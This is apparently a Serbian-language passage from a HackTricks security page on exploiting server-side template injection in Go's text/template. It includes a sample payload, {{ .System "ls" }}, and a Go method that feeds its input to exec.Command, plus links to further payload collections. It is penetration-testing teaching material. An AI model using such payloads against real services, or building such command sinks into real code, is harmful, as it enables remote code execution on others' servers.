RCE eksploatacija se značajno razlikuje između html/template i text/template. Modul text/template omogućava direktno pozivanje bilo koje javne funkcije (koristeći “call” vrednost), što nije dozvoljeno u html/template. Dokumentacija za ove module je dostupna ovde za html/template i ovde za text/template.

Za RCE putem SSTI u Go-u, mogu se pozvati metode objekta. Na primer, ako prosleđeni objekat ima System metodu koja izvršava komande, može se iskoristiti kao {{ .System "ls" }}. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Više informacija

Više Eksploatacija

Proverite ostatak https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection za više eksploatacija. Takođe možete pronaći zanimljive informacije o tagovima na https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Povezana Pomoć

Ako mislite da bi moglo biti korisno, pročitajte:

Alati

Lista za Detekciju Brute-Force

Vežba & Reference

​​​RootedCON je najrelevantnija sajber bezbednosna manifestacija u Španiji i jedna od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.

Podržite HackTricks

Last updated